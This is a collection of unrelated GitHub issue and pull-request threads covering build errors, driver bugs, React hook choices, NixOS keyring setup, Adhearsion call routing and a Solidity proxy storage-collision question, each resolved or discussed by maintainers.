Smithy4s Kinesis Client

Changes Introduced
A short description of the changes that were introduced
Applicable linked issues
Checklist (check all that apply)

[ ] This change maintains backwards compatibility
[ ] I have introduced tests for all new features and changes
[ ] I have added documentation covering all new features and changes
[ ] This pull-request is ready for review

@kubukoz per our convo, I tried setting up a client using smithy4s, but ran into a few weird bugs with the build. Mostly, I've been dealing with using a subset of scala versions in the smithy project as smithy4s is only publishing Scala 2.13/Scala 3 artifacts, so I am poorly attempting to use sbt-projectmatrix as well. But also, I ran into this when compiling on scala 2.13 versions:
[error] (smithy4s-client / Compile / smithy4sCodegen) java.lang.ClassCastException: class software.amazon.smithy.rulesengine.traits.ContextParamTrait cannot be cast to class software.amazon.smithy.rulesengine.traits.ContextParamTrait (software.amazon.smithy.rulesengine.traits.ContextParamTrait is in unnamed module of loader java.net.URLClassLoader @17cc56dd; software.amazon.smithy.rulesengine.traits.ContextParamTrait is in unnamed module of loader java.net.URLClassLoader @756a6cba)

Never seen that before I think... perhaps @baccata will have more insight. I know there was talk of removing the rules engine traits from the model before loading, and in general smithy4s will eventually make it easier to use AWS specs.
https://github.com/disneystreaming/smithy4s/issues/674#issuecomment-1348748220 and that general thread may have more useful context

smithy4s-client / Compile / smithy4sCodegen
I ran that in sbt as smithy4s-client/compile, and it worked. CI seems to be failing because the yml generated doesn't match the one checked in, so it's hard for me to see the issue in CI either.
Additionally it'd be great to minimize any issue you encounter with smithy4s, as your build is pretty big and there could be multiple things at play

if you do manage to hit this again, can you try with a local snapshot of smithy4s from the series/0.17 branch?

Thanks for looking into it @kubukoz ! I'll be out of pocket today but I'll see if I can get this PR cleaned up and reproduce the same.

@etspaceman don't bother trying a snapshot, it does fix the bug you're currently encountering but another unrelated bug was introduce which leads the generated code for the smithy.rules to be generated twice. I'm in the process of fixing it

Here's a fix to the newly introduced bug I'm talking about : https://github.com/disneystreaming/smithy4s/pull/789

OK PR is cleaned up with clean reproduce, you should be able to get this via doing sbt smithy4s-client3/compile
[error] stack trace is suppressed; run last smithy4s-client3 / Compile / smithy4sCodegen for the full output
[error] (smithy4s-client3 / Compile / smithy4sCodegen) java.lang.ClassCastException: class software.amazon.smithy.rulesengine.traits.ContextParamTrait cannot be cast to class software.amazon.smithy.rulesengine.traits.ContextParamTrait (software.amazon.smithy.rulesengine.traits.ContextParamTrait is in unnamed module of loader java.net.URLClassLoader @485438eb; software.amazon.smithy.rulesengine.traits.ContextParamTrait is in unnamed module of loader java.net.URLClassLoader @1f8c81d0)

I can't see it with just client3, but I can see it with this sequence:

smithy4s-client/compile
smithy4s-client3/compile

Updating to a local snapshot of https://github.com/disneystreaming/smithy4s/pull/789 seems to make it work.

@kubukoz It does make this particular error go away but then a number of compiler errors come on due to the other bug that @Baccata found.
It does seem to be working from the PR branch in @Baccata 's proposal! So that's great 😄

I've got the implementation here working. Whenever a new version is published for smithy4s, I can merge this


Batch query with mixture of direct query and parameterized query returns Invalid Descriptor Index error in a Column Encryption Enabled connection

Driver version or file name
5.1.2
SQL Server version
SQL Server 2016
Client operating system
Windows 10
PHP version
7.1.11
Microsoft ODBC Driver version
17
Table schema
(id int, class int, value char(32))
the table schema isn't really relevant
Problem description
When preparing a batched query with a mixture of direct query and parameterized query (specifically, direct query before parameterized query), an Invalid Descriptor Index is thrown.
Expected behavior and actual behavior
No exception should be thrown
Repro code
try {
    $conn = new PDO("sqlsrv:server = $server; Database = $databaseName; ColumnEncryption=Enabled;", $uid, $pwd);
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    $tableName = "pdo_test_table";
    $conn->exec("IF OBJECT_ID('$tableName', 'U') IS NOT NULL DROP TABLE $tableName");
    $conn->exec("CREATE TABLE pdo_test_table ([id] int ENCRYPTED WITH (ENCRYPTION_TYPE = deterministic, ALGORITHM = 'AEAD_AES_256_CBC_HMAC_SHA_256', COLUMN_ENCRYPTION_KEY = AEColumnKey) ,
	                                          [class] int ENCRYPTED WITH (ENCRYPTION_TYPE = deterministic, ALGORITHM = 'AEAD_AES_256_CBC_HMAC_SHA_256', COLUMN_ENCRYPTION_KEY = AEColumnKey) ,
	                                          [value] char(32) COLLATE Latin1_General_BIN2 ENCRYPTED WITH (ENCRYPTION_TYPE = deterministic, ALGORITHM = 'AEAD_AES_256_CBC_HMAC_SHA_256', COLUMN_ENCRYPTION_KEY = AEColumnKey))");

    // prepare and execute batch query
    $directQuery = "SELECT 1";
    $parameterizedQuery = "INSERT INTO $tableName VALUES(?, ?, ?)";
    $stmt = $conn->prepare("$directQuery; $parameterizedQuery");
    $id = 1;
    $class = 4;
    $value = '2011';
    $stmt->bindParam(1, $id);
    $stmt->bindParam(2, $class);
    $stmt->bindParam(3, $value);
    $stmt->execute();

    $conn->exec("DROP TABLE $tableName");
    unset($stmt);
    unset($conn);
} catch (Exception $e) {
    echo $e->getMessage();
}
?>

The documentation clearly indicates that When processing a batch of Transact-SQL statements, the driver also does not support calling SQLDescribeParam for parameter markers in statements after the first statement in the batch.

Updated our Wiki section on binding parameters in AE.


improved the footer topics UI

Under GSSOC'23
Related Issue
Closes #1227

Description
In this PR, i have imrpoved the UI of the footer topics and added a line below to properly classify it.

Screenshots

Checklist

[x] My code adheres to the established style guidelines of the project.
[x] I have included comments in areas that may be difficult to understand.
[x] My changes have not introduced any new warnings.
[x] I have conducted a self-review of my code.

how can i resolve this conflict??

Hey @rohansx, I have resolved the conflict of base branch now you can merge it!


Update wasm edge features

WasmEdge Features improved
Docs rephrased to make it more focused on the main topic of the text, which is the integration of WasmEdge with Kubernetes and  remove redundant information. The brief description of certain topics was done while making changes making it intuitive and user friendly while each options were kept unchanged.
Related issue

What type of PR is this
documentation

Proposed Changes

@Aryanryn09 Thanks for your contribution. Much appreciated.
Please make your DCO test pass firstly. I also have one question. Why did you delete CONTRIBUTING.md, LICENSE.md and CODE_OF_CONDUCT.md? Other than this, All are great!

@Aryanryn09 You can fix the DCO by following the steps here, https://github.com/WasmEdge/docs/pull/34/checks?check_run_id=13058046664
Also, I am not sure why you deleted the 3 files as they are important for the project and CNCF says to add a License, COC file in a project repo. Could you please revert that change?

@Aryanryn09 There seems to be a lot of conflicts wrt to the files changed, how about we close this PR and create a new one with your changes only?

@Aryanryn09 IMHO we can revert the changes to CONTRIBUTING.md and package-lock.json file

@Aryanryn09 There seems to be a lot of conflicts wrt to the files changed, how about we close this PR and create a new one with your changes only?

yes i think it would be great


Error 'cannot use rackHDInstancePlugin literal ...'

Hello
I am trying to build infrakit.rackhd.
As a result of executing the make binaries command, I encountered a title error.
My environment and build procedure are shown below. Any idea what I missed?
Environment:
# go version
go version go1.8.3 linux/amd64
# go env
GOARCH="amd64"
GOBIN=""
GOEXE=""
GOHOSTARCH="amd64"
GOHOSTOS="linux"
GOOS="linux"
GOPATH="/root/go"
GORACE=""
GOROOT="/usr/local/go"
GOTOOLDIR="/usr/local/go/pkg/tool/linux_amd64"
GCCGO="gccgo"
CC="gcc"
GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build539747196=/tmp/go-build -gno-record-gcc-switches"
CXX="g++"
CGO_ENABLED="1"
PKG_CONFIG="pkg-config"
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"

Build procedure:
# pwd
/root/go/src/github.com/codedellemc
# git clone https://github.com/codedellemc/infrakit.rackhd
# cd infrakit.rackhd/plugin/instance/cmd/
# go get -v -d
# cd ../../../
# pwd
/root/go/src/github.com/codedellemc/infrakit.rackhd
# make binaries
+ clean
rm -rf build
mkdir -p build
+ build-binaries
go build -o build/infrakit-instance-rackhd -ldflags "-X github.com/codedellemc/infrakit.rackhd/plugin.Version=f79a381 -X github.com/codedellemc/infrakit.rackhd/plugin.Revision=f79a381d2ca7ca098d49b442b6f8571e4b74ab85" github.com/codedellemc/infrakit.rackhd/plugin/instance/cmd
# github.com/codedellemc/infrakit.rackhd/plugin/instance
plugin/instance/instance.go:35: cannot use rackHDInstancePlugin literal (type rackHDInstancePlugin) as type instance.Plugin in return argument:
        rackHDInstancePlugin does not implement instance.Plugin (wrong type for Destroy method)
                have Destroy(instance.ID) error
                want Destroy(instance.ID, instance.Context) error
make: *** [build-binaries] Error 2

Thanks

Looks like API drift on Infrakit. I should be able to update to the latest interface this week.
On Jul 19, 2017, 4:47 PM -0500, Kendrick Coleman<EMAIL_ADDRESS>wrote:

Assigned #2 to @spiegela.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or mute the thread.


Make sure the build updates the Visual Studio 2015 extension version

Previously the build was not updating the extension manifest for the Visual Studio 2015 extension. This meant that the extension manager in Visual Studio 2015 would show the wrong extension version number after an otherwise proper installation.

:+1:


exception: Future not completed

mysql server is 5.6.17
AppConfig._mysqlPool = MySQLConnectionPool(
      host: "localhost",
      port: 3306,
      userName: "root",
      password: "123456",
      databaseName: "db_test", // optional
      maxConnections: 1,
    );

    await AppConfig._mysqlPool.transactional((conn) async {
      await conn.execute("select * from user");
    }).onError((error, stackTrace) {
      print(error.toString());
      print(stackTrace.toString());
    });

this code also throw exception too:
final conn = await MySQLConnection.createConnection(
      host: "localhost",
      port: 3306,
      userName: "root",
      password: "123456",
      databaseName: "db_test", // optional
    );

Hi Silentdoer. Can you show me exception message and stack trace?

I changed MySQL to version 5.7 and it ran successfully

Hi Silentdoer. Can you show me exception message and stack trace?

Sorry, my program does not print the exception stack trace

Hm. I did not test with 5.6 branch of mysql server. I don't know is it reasonable to support 5.6 version. If everything is fine for you, well will see


error when reproducing the results

Thank you for the great paper.
When I was running the code in experiments_bc_rf.py, I got an error in line 80
This method as_pyplot_to_figure belongs to Explanation object but not to explainer_tabular. LimeTabularExplainer. It seems to me that these two objects are independent from each other. Have I missed anything? Could you please advise how to reproduce the result correctly?
Here is the Colab I used.

Hi Juliecious,
Thank you for your interest in our work.
This script is saving charts in results folder which is missing in dlime_experiments folder.  Just create results folder inside the dlime_experiments by executing the following command to fix the error:
cd dlime_experiments/
mkdir results
Regards,
Rehman


Updated encounter but green

According to RKI feedback

@OlMue @SabineLoss
This changes seem to contradict https://github.com/corona-warn-app/cwa-website/issues/307#issuecomment-679233521
Could you please clarify?

@daimpi Yes, I pointed this out in #319 (comment). I had to make this change first. I'm not involved in #319, so I'm not sure about the status but I assume that your suggestions will still be implemented. @MarlisFriedl @tkowark please check.

@OlMue this change goes in the exact opposite direction of what was discussed in https://github.com/corona-warn-app/cwa-website/issues/307
I was telling @svengabr about the problem with this change already last week on Slack and he agreed. And now this has just been merged nevertheless. This PR introduces potentially factually wrong information into the FAQ.

@daimpi I apologize, I wasn't aware of this.
@svengabr @mtb77: The request for the change this PR was forwarded to me by @janetback who was in contact with the RKI.

@OlMue ok, no problem, let's try to quickly get this sorted out then 🙂
If you want to join us on Slack btw here is the invitation link: https://join.slack.com/t/covidapps/shared_invite/zt-gmgl4l13-E4Xcn1ZfPFsPz6V_KjROCg (we're in the cwa channel)


owncloud-client always ask for password

Summary
This issue is closely related to https://github.com/NixOS/nixpkgs/issues/38266.
The owncloud-client never remembers my password and ask for it at every reboot.
What I tried
I've enable gnome-keyring and owncloud-client services. I've also installed gnome3.libgnome-keyring.
I've also tried moving everything out of home-manager to the configuration.nix file but I have the exact same problem, thus, I don't think this is a problem with the home-manager module.
I'd be really interested to see if anyone successfully made it work.
Thank you

I encountered this bug as well. I found this post in that thread very helpful, which I implemented in home.nix with:
  nixpkgs.overlays = [
    (self: super: {
      nextcloud-client = super.nextcloud-client.override {
        withGnomeKeyring = true;
        libgnome-keyring = self.gnome3.libgnome-keyring;
      };
    } )
  ];```

This basically gives Nix instructions to provide `gnome-keyring` to `nextcloud-client`, and also to replace `libgnome-keyring2` with `gnome3.libgnome-keyring`.

Thanks a lot! I just adapted it for owncloud :
  nixpkgs.overlays = [
    (self: super: {
      owncloud-client = super.owncloud-client.override {
        withGnomeKeyring = true;
        libgnome-keyring = self.gnome3.libgnome-keyring;
      };
    } )
  ];

It's working perfectly :).
Thank you for taking the time to help!

Little update:
I previously fixed my issue using kwallet and when trying your fix, I forgot to remove one component so actually it doesn't work with only gnome-keyring and owncloud-client.
After looking at nixpkgs, nextcloud-client offers some build inputs:
https://github.com/M-Gregoire/nixpkgs/blob/master/pkgs/applications/networking/nextcloud-client/default.nix#L22
That owncloud-client doesn't have:
https://github.com/M-Gregoire/nixpkgs/blob/master/pkgs/applications/networking/owncloud-client/default.nix
However I was planning on migrating to nextcloud-client anyway so this is not a problem in my case. In order to make owncloud-client work with gnome-keyring a PR is needed (or use kwallet).


Issue with tmux

I'm trying to start a tmux session using the command below.
tmux new -s backend "node dist/index.js"

But I keep getting this error. Is there a way I can run tmux using this?
open terminal failed: not a terminal

Finally found that I can just start the session unattached by using -d
tmux new -d -s backend "node dist/index.js"


intellisense failed

VSCode Version: Code 1.11.2 (6eaebe3b9c70406d67c97779468c324a7a95db0e, 2017-04-13T07:56:42.517Z)
OS Version: Darwin x64 16.5.0
Extensions:

Extension
Author
Version

beautify
HookyQR
1.0.2

vscode-html-scss
P-de-Jong
0.0.42

json-tools
eriklynd
1.0.2

vue
jcbuisson
0.1.5

vscode-react-templates
kkozee
0.0.2

scss-refactoring
lukazakrajsek
0.1.3

vscode-scss
mrmlnc
0.6.2

javascript intellisense does not work at all....
**slingshot used in my proj. **
my jsconfig file:
{
    "compilerOptions": {
        "target": "ESNEXT",
        "module": "commonjs",
        "experimentalDecorators": true
    },
    "exclude": [
        "node_modules"
    ]
}

Steps to Reproduce:

unfortunately,  no idea how to reproduce it....

Can you please provide more information:

What is going wrong or what is the expected behavior?
Does this happen in all projects?
Can you share a small sample project or some source code?

very sorry for this stupid issue...
it turns out to be caused by soft links.
the dir node_modules is linked to dist/generated/eg.dir.., i should exclude all dirs related to node_modules.
#close25866


col name sampleid should be forbidden

if you add a column namd sampleid in a prep/sample info file, the system will work just fine but when you try to do an analysis, it will fail cause the QIIME mapping file will have 2 sampleid columns.
There are two solutions:

don't allow sampleid as a column name
rename it, if present at the analysis stage.

My vote goes to 1.

Are you referring to the Qiime '#SampleID' in a mapping file, or the custom
column 'sample_id' ?
On Mon, Dec 19, 2016 at 5:18 AM, Antonio Gonzalez<EMAIL_ADDRESS>wrote:

if you add a column namd sampleid in a prep/sample info file, the system
will work just fine but when you try to do an analysis, it will fail cause
the QIIME mapping file will have 2 sampleid columns.
There are two solutions:

don't allow sampleid as a column name
rename it, if present at the analysis stage.

My vote goes to 1.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/biocore/qiita/issues/2026, or mute the thread
https://github.com/notifications/unsubscribe-auth/AB69gGvM7NkJeXoklOdPmrbubgViUA1Xks5rJoQigaJpZM4LQtxL
.

--
Gail Ackermann
Knight Lab
UCSD
<EMAIL_ADDRESS><EMAIL_ADDRESS>

Neither :), I'm talking about sampleid - basically a user created column that has that name ...

in that case - prevent usage - it is an easy fix for user
On Mon, Dec 19, 2016 at 9:16 AM, Antonio Gonzalez<EMAIL_ADDRESS>wrote:

Neither :), I'm talking about sampleid - basically a user created column
that has that name ...
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/biocore/qiita/issues/2026#issuecomment-268022178, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AB69gBSdl2mvr-xZ3iQMxxuQgawdzwYvks5rJrvUgaJpZM4LQtxL
.

--
Gail Ackermann
Knight Lab
UCSD
<EMAIL_ADDRESS><EMAIL_ADDRESS>


feat(circuit_conversions): allow NamedQubits in imported circuits

Description
Users can now use NamedQubits in imported circuits. However, NamedQubits still cannot be used when importing single GatesOperations. I made this design choice because importing a GateOperation on a NamedQubit means mapping it to a number, which might be inconsistent between imports.
For instance, a GateOperation on NamedQubit("a") could get the same label as NamedQubit("b") if they are translated a different time. Instead, users should translate the Gate and then pick a qubit themselves rather than translating a GateOperation with a NamedQubit.
Please verify that you have completed the following steps

[x] I have self-reviewed my code.
[x] I have included test cases validating introduced feature/fix.
[x] I have updated documentation.

Codecov Report
Base: 95.63% // Head: 95.87% // Increases project coverage by +0.23% :tada:

Coverage data is based on head (3992f03) compared to base (b8fe51e).
Patch coverage: 100.00% of modified lines in pull request are covered.

:exclamation: Current head 3992f03 differs from pull request most recent head 9ecd5e0. Consider uploading reports for the commit 9ecd5e0 to get more accurate results

Additional details and impacted files
@@            Coverage Diff             @@
##             main      #48      +/-   ##
==========================================
+ Coverage   95.63%   95.87%   +0.23%
==========================================
  Files           8        8
  Lines         321      339      +18
==========================================
+ Hits          307      325      +18
  Misses         14       14

Impacted Files
Coverage Δ

...egrations/cirq/conversions/_circuit_conversions.py
94.48% <100.00%> (+0.78%)
:arrow_up:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


useRef instead of useMemo

This way it is shorter.
Also this implementation does not rely on useMemo which according to documentation may decide to skip caching under certain circumstances in the future.

I am happy that this passed the unit test that checks for the problem that useMemo was added to solve, but I am uncomfortable merging it until I fully understand the depths of the change.
Can you provide a test that would fail with the current useMemo implementation but will pass with the useRef implementation? Can you link to the part of the documentation that says that useMemo is unreliable in this use case? Are there benefits to useRef besides shorter code?

I can't provide test speaking for useRef. Perhaps someone from React team can :smiley:
Here is quote from docs, taken from https://reactjs.org/docs/hooks-reference.html#usememo:

You may rely on useMemo as a performance optimization, not as a semantic guarantee. In the future, React may choose to “forget” some previously memoized values and recalculate them on next render, e.g. to free memory for offscreen components.
Write your code so that it still works without useMemo — and then add it to optimize performance.

That quote doesn't seem to be against the pattern used here. It's unfortunate that it's not a semantic guarantee, but performance takes a higher priority, as the purpose of passing a static reference to forceUpdate is to improve pure component performance. If React, in its wisdom, decides that rerendering pure components is a worthwhile trade for freed memory, this hook should not hinder that process.
The current implementation does work without useMemo and adds useMemo to optimize performance. It adds it for the semantics too, but it looks like the React team decided performance is of higher importance than semantics.

In my understanding useMemo was used here to maintain the same forceUpdate
reference during component lifecycle.
This is exactly the use case useRef is designed for - to maintain a single
value during component lifecycle, that's why I changed that.
If in the future React will decide to clear useMemo cache based on some
conditions, current implementation may break something as forceUpdate
reference will change occasionally.
On Thu, Apr 4, 2019, 10:57 PM Charles Stover<EMAIL_ADDRESS>wrote:

That quote doesn't seem to be against the pattern used here. It's
unfortunate that it's not a semantic guarantee, but performance takes a
higher priority, as the purpose of passing a static reference to
forceUpdate is to improve pure component performance. If React, in its
wisdom, decides that rerendering pure components is a worthwhile trade for
freed memory, this hook should not hinder that process.
The current implementation does work without useMemo and adds useMemo to
optimize performance. It adds it for the semantics too, but it looks like
the React team decided performance is of higher importance than semantics.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/CharlesStover/use-force-update/pull/6#issuecomment-480021536,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AHGvCmxgP6-WpUqlxOc-HoF8puaZuOVnks5vdksYgaJpZM4ccC7g
.

I agree with switching from useReducer to useState, since a reducer in this use case is overkill.
As for the forceUpdate function, I would suggest a third option, useCallback. While all three hooks results in a stable function identity, useCallback is the one that is actually designed for this scenario.
From the docs:

Pass an inline callback and an array of dependencies. useCallback will return a memoized version of the callback that only changes if one of the dependencies has changed. This is useful when passing callbacks to optimized child components that rely on reference equality to prevent unnecessary renders (e.g. shouldComponentUpdate).

And it would give the same result as useMemo:

useCallback(fn, deps) is equivalent to useMemo(() => fn, deps).

Except that according to the docs, useCallback doesn't say that it might decide to skip caching in the future.
useMemo is for memoizing expensive calls, which I wouldn't say wrapping a setState function once is.
useRef is designed for mutable variables, which again the setState wrapper is not supposed to be.

@h3rmanj

useCallback(fn, deps) is equivalent to useMemo(() => fn, deps).

This still sounds suspicious to me because if these 2 are equivalent, if useMemo can skip caches, useCallback also can.

useRef is designed for mutable variables, which again the setState wrapper is not supposed to be.

Don't very agree with this statement. useRef returns a mutable ref object which is kind of box where one can store anything and stored value will be preserved during whole component lifetime.
Even without my something different understanding of what useRef is for, I still prefer to use useRef to be 100% sure that returned forceUpdate instance never changes because useCallback caching (or skipping the cache) is not well documented.

While that being true currently, after some digging it seems that useMemo and useCallback have different plans for the future.
https://github.com/reactjs/rfcs/pull/68#issuecomment-439314884

useCallback is just a simple wrapper around useMemo, but we have ideas for how we could optimize that further in the future, either statically or using runtime techniques.

And they also don't want to invalidate useCallback for the wrong reasons https://github.com/facebook/react/issues/14099#issue-377440465, while the reason for useMemo skipping the cache is because it is meant for expensive calculations (and therefore also higher memory results), that does not apply for inline callbacks.
I worded the statement about useRef badly, what I meant was that while its use-cases are for single instance mutable variables, using it for just the single instance reason makes it just as overkill as using half of useReducers functionality. So my argument against it is just for readability and intent's sake.
But I might be wrong, my main point is just that going away from useMemo is the right choice, but I personally would prefer useCallback for readability and intent. Either way I support this PR.

I asked around, and I'm leaning towards useCallback being the correct implementation.
Something along the lines of:
useCallback(
  () => { dispatch(null); },
  [ dispatch ]
);

Given that this is now in master with useCallback, I'm closing this as duplicate.
Thank you so much for the discussion and address this issue.


Práticas

Description

Why

Possible Implementation & Open Questions

Is this something you're interested in working on?

[ ] YES
[ ] NO

@thiago-ndev Hi, please don't spam Open Source repositories with fake issues.
It's a really annoying practice. If you want to test how issues work, you can do so on one of your personal repos.
The first rule of Open Source or any development is to "keep the place cleaner than how you found it", not to litter it.
Thank you.
Developers usually look at issue to see how stable is the repository and to see if there is something to improve.
Please close your issue if it's not relevant, because maintainers shouldn't have to deal with this type of stuff.

sorry @simonebogni I didn't know what I was doing.


Not responding

Hi, I followed all steps successfully but when I type /start nothing happens...
What can it be?
Tnx

I have the same problem! i have created more "if-else" but nothing happens!


Group Side Nav Bar Added

My images look a little distorted if someone has a fix

My images look a little distorted if someone has a fix

You can add a "flex-none" property to the classNames on the Link component and the Image component in your GroupsElements component. Currently the images are squished when there isn't enough space to display them at full size along with the group name.


Pull photos from the Commuity Portal for the MVP Profiles as an additional option

Currently we use Gravatar to display the MVP profile photos. Some people might not want to sign up for Gravatar, so would be great to provide an option to use the Commuity Portal photos at the MVP profile.
Also there should be a switch if someone would prefer not to have a photo.

@mrtamasvarga,
Is there an easy way to access photos from Sitecore Community Portal based on an email address? Similar as is for Gravatar?
/sebastian

I think this feature makes sense if we have a profile for the MVPs, where they can not only associate their Community Portal, but other things, like their Twitter, LinkedIn and where they can choose to use the default image.
As soon as they provide us their Community ID than we can easily pull their photo and we can make this feature available.

Although I created a gravatar profile, can't see it get picked in the mvp page... i noticed that my email hash in the mvp profile is totally different from what I see in my gravatar public url although I use the same email address... I would prefer this to be a field in Sitecore that way, the user can enter their gravatar public url  and just display image from the public url....

It seems that the email address is case sensitive for the gravatar.

Closed in #189


Fix NPE thrown when generating AST json fails

Purpose

Omit packaging compilation units for which generating AST json fails (Related to #24341)

Approach

Without this check a null pointer is thrown and the compilation fails completely. So a null check had been added.

Closing as per the above comment.


Leverage ShardingSphere's SQL parser to get table's read/write level metrics

Please answer these questions before submitting your issue.

Why do you submit this issue?
[ ] Question or discussion
[ ] Bug
[x] Requirement
[ ] Feature or performance improvement

Requirement or improvement

Please describe your requirements or improvement suggestions.

We were waiting for ShardingSphere's 5.0 release for a long time. Powered by that, we have the SQL parser compatibility across different SQL databases. So, we could run SQL parser at the backend in doing trace/span and ALS+SQL-log(in the future) analysis.
We should be able to get the metrics like read/write latency/traffic for table and table set.
@tristaZero When your documentation is ready, please ping us. If you want to lead this, please let us know.
@ascrutae @kezhenxu94 @hanahmily We need to keep our eyes on this and add this into the OAP in the next several weeks, especially for trace analysis first.

got it!

Hi everyone. I am glad to see this SQL-parsing feature of ShardingSphere can come into play in Skywalking community. :-）
We spent a lot of effort and time on this important feature, though it is the first time to present it an independent feature from ShardingSphere. Some interesting ideas are still in the incubator. Stayed tuned!
The additional doc is under review. I suppose it will be merged soon. Please give it a watch.
Best,
Trista

I set up the benchmarks to test the performance, https://github.com/apache/shardingsphere/issues/8208. We need a deeper discussion and maybe optimization as right now, it seems would cause a big impact to the OAP.


Short call leakage mitigation (v2)

Currently this most likely reduces Adhearsion's call setup capacity; I'd guess at a CPS reduction of around 2-5x, because of the serial routing this introduces. Calls should be routed in their own threads to improve this.
Give this a try while I work on that, @sfgeorge? I think this fixes your issue with out of order event dispatch.

This should now avoid call setup rate issues.

Coverage decreased (-2.4%) to 95.065% when pulling<PHONE_NUMBER>2686c50cb51c8e51b0cf7434411fd2 on bugfix/2.x.x/ordered-event-dispatch into c0a9e9b85bd22840d4c85afcac874f27d3df14b1 on support/2.x.x.

Coverage decreased (-1.6%) to 95.781% when pulling fe8f6f3253a8569c4cd78438b7410ab4473f225b on bugfix/2.x.x/ordered-event-dispatch into c0a9e9b85bd22840d4c85afcac874f27d3df14b1 on support/2.x.x.

Coverage decreased (-1.7%) to 95.693% when pulling e34f523501dd8512609cba5b83db6f9b56a21357 on bugfix/2.x.x/ordered-event-dispatch into c0a9e9b85bd22840d4c85afcac874f27d3df14b1 on support/2.x.x.

Coverage decreased (-1.7%) to 95.693% when pulling e34f523501dd8512609cba5b83db6f9b56a21357 on bugfix/2.x.x/ordered-event-dispatch into c0a9e9b85bd22840d4c85afcac874f27d3df14b1 on support/2.x.x.

Coverage decreased (-1.7%) to 95.693% when pulling e34f523501dd8512609cba5b83db6f9b56a21357 on bugfix/2.x.x/ordered-event-dispatch into c0a9e9b85bd22840d4c85afcac874f27d3df14b1 on support/2.x.x.

Coverage decreased (-1.7%) to 95.747% when pulling 4f81c9abd32445fff185929e9f7ac1d9e6cf38a9 on bugfix/2.x.x/ordered-event-dispatch into c0a9e9b85bd22840d4c85afcac874f27d3df14b1 on support/2.x.x.

Coverage decreased (-1.7%) to 95.747% when pulling 4f81c9abd32445fff185929e9f7ac1d9e6cf38a9 on bugfix/2.x.x/ordered-event-dispatch into c0a9e9b85bd22840d4c85afcac874f27d3df14b1 on support/2.x.x.

Coverage decreased (-1.7%) to 95.743% when pulling 01050a60dae5921154786b911c4b037bf06298e4 on bugfix/2.x.x/ordered-event-dispatch into c0a9e9b85bd22840d4c85afcac874f27d3df14b1 on support/2.x.x.

Coverage decreased (-1.7%) to 95.741% when pulling 5e7b65dfdfc5bb6e14a63836086dba12bff11f6f on bugfix/2.x.x/ordered-event-dispatch into c0a9e9b85bd22840d4c85afcac874f27d3df14b1 on support/2.x.x.

I've tested this in a M.R.C. test app, and found the following in both JRuby and CRuby:

Upgrading to the latest changes from this PR solved the issue for Accepting routes, as you mentioned
Adding a rescue clause that you provided resolved the issue for Unaccepting routes

Thank you for doing this! 👍

I am trying to speed up our Sippy Cup testing by running a bunch of scenarios in parallel. While I never had any trouble with a single SIPp instance, possibly because it staggers the calls ever so slightly, launching several at the same time causes calls to jam up. I traced this through to this line in Adhearsion::Router::Route#dispatch.
Adhearsion::Events.trigger_immediately :call_routed, call: call, route: self

Since this line isn't critical, commenting it out makes things work perfectly. It looks like this pull request might deal with this issue so I'll try rebasing it. Is it otherwise good to go? Was there a reason it wasn't merged?

I don’t know why this wasn’t merged. I don’t object to it as long as the tests pass.

Looks good to me, but are not the tests failing?

Thanks for the info. I've just rebased it, trying to get the tests passing.

Closing, as this was superseded by #625


Poslink

Declaration of App\View\Helper\AclLinkHelper::postLink() should be compatible with Cake\View\Helper\FormHelper::postLink($title, $url = NULL, array $options = Array) [APP/View/Helper/AclLinkHelper.php, line 16
Kindly help solve above error, #cakephp3.2

Hi, please use this version https://github.com/shahonseven/CakePHP-AclLinkHelper/tree/3.x

Thank you. Sir works like charm
Thanks
On Fri, Sep 9, 2016 at 9:15 AM, shahonseven<EMAIL_ADDRESS>wrote:

Hi, please use this version https://github.com/shahonseven/CakePHP-
AclLinkHelper/tree/3.x
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/shahonseven/CakePHP-AclLinkHelper/issues/4#issuecomment-245828513,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AA7SZRulVL_xp2h6sfTvniOESrP0WAhAks5qoPmHgaJpZM4J4MWn
.


Why use 0x1111111111111111111111111111111111111100? Is it because of the short address attack issue?

https://github.com/dragonfly-xyz/useful-solidity-patterns/blob/a915da6aa4037b89f02c02ff133753b695e8bfb6/test/ExplicitStorageBuckets.t.sol#L11C1-L11C64
I have tried other addresses, and in the test case "unsafeCanBeReinitializedAndExploited," the function in the figure is self-defined, and the content logic is consistent.

It can be any address with the lowest 8 bits (last byte) equal to 0, such as 0x35C8C87AF6e00FB1BdC075A199f195128f49a700. UnsafeProxy and Impl are defined as two independent (uninherited) contracts so the solidity compiler will assign the state variables declared within them to overlapping storage slots. UnsafeProxy.owner will span byte offset 0-20 of slot 0 and Impl.isInitialized will span byte offset 0-1 of (also) slot 0. Therefore, writing to one state variable will overwrite the contents of the other when in the context of a delegatecall(), as is the norm with proxy pattern contracts. In this test, setting the value of owner to that address will unintentionally reset isInitialized to false because of the 0 byte in offset 0-1 of slot 0.
This is very different from a short address attack, which involves how solidity used to decode function arguments. AFAIK short address attacks haven't really been a thing since solidity 0.5.
Thank you very much, the logic is clear now.


Change frontend for django-autocomplete-light update

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Comparison is base (d2a6859) 48.02% compared to head (17b9daf) 48.02%.

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@              Coverage Diff              @@
##           prep-release     #213   +/-   ##
=============================================
  Coverage         48.02%   48.02%
=============================================
  Files               140      140
  Lines              5181     5181
=============================================
  Hits               2488     2488
  Misses             2693     2693

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


